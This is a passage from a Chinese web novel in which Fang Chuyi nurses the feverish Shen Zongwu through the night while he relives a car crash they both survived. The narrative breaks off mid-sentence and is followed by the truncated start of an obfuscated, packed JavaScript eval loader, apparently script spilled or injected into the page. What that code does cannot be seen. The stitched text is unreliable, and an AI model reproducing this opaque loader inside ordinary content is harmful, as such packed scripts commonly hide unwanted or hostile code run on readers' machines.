但还是把他弄醒了。
“方老师,”他声音哑的厉害。
“你在发烧,得吃药,我去拿给你。”
她正准备驱动轮椅。
沈宗雾忽然伸手抓着轮椅扶手,“不想吃,”他声音闷闷的,“你别走。”
方初宜看着那只紧紧拽着轮椅的手,骨节分明,手背因用力青筋凸起,指节微微有些发白。
“我只是去给你拿药,不走。”
“我不要,”沈宗雾闭着眼,像是介于梦魇和清醒之间,没完全清醒,“我又梦到了,那天的车祸,都怪我……”
方初宜静静看着他,见他眉心紧拧,牢牢抿着唇,她眼底覆了一层哀伤。
她想起了车祸后那一年里,无法走出桎梏的自己。
原来,不是只有我会被困在那天。
她掌心盖在那只拽着轮椅的手上轻轻拍着,“没事了,都过去了。”
方初宜的安抚十分有效。
没过多久,沈宗雾的呼吸声就变沉睡了过去,眉头也舒展了许多。
但他的烧还没有退,又不肯吃药,方初宜不敢离开,生怕他温度升的过高,只好陪在一边,每隔二十分钟就给他换一次额头的毛巾。
清晨六点左右,沈宗雾终于退烧了。
方初宜放松地舒了口气。
疲惫按了按太阳穴,她准备回卧室补个觉。
走前,她俯身往上拉了拉,沈宗雾身上快要掉落的薄被。
也是这时,猝不及防对上了一双眼。
沈宗雾盯着她愣了会,声音仍有些沙哑,
“方老师,你眼睛很红。”
说完,又闭上了眼。
方初宜补觉醒来时,已经是中午十二点半。要不是胃里极度抗议,她还会再睡两个小时。
作为车祸幸存者,她深知生命多么脆弱。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){retur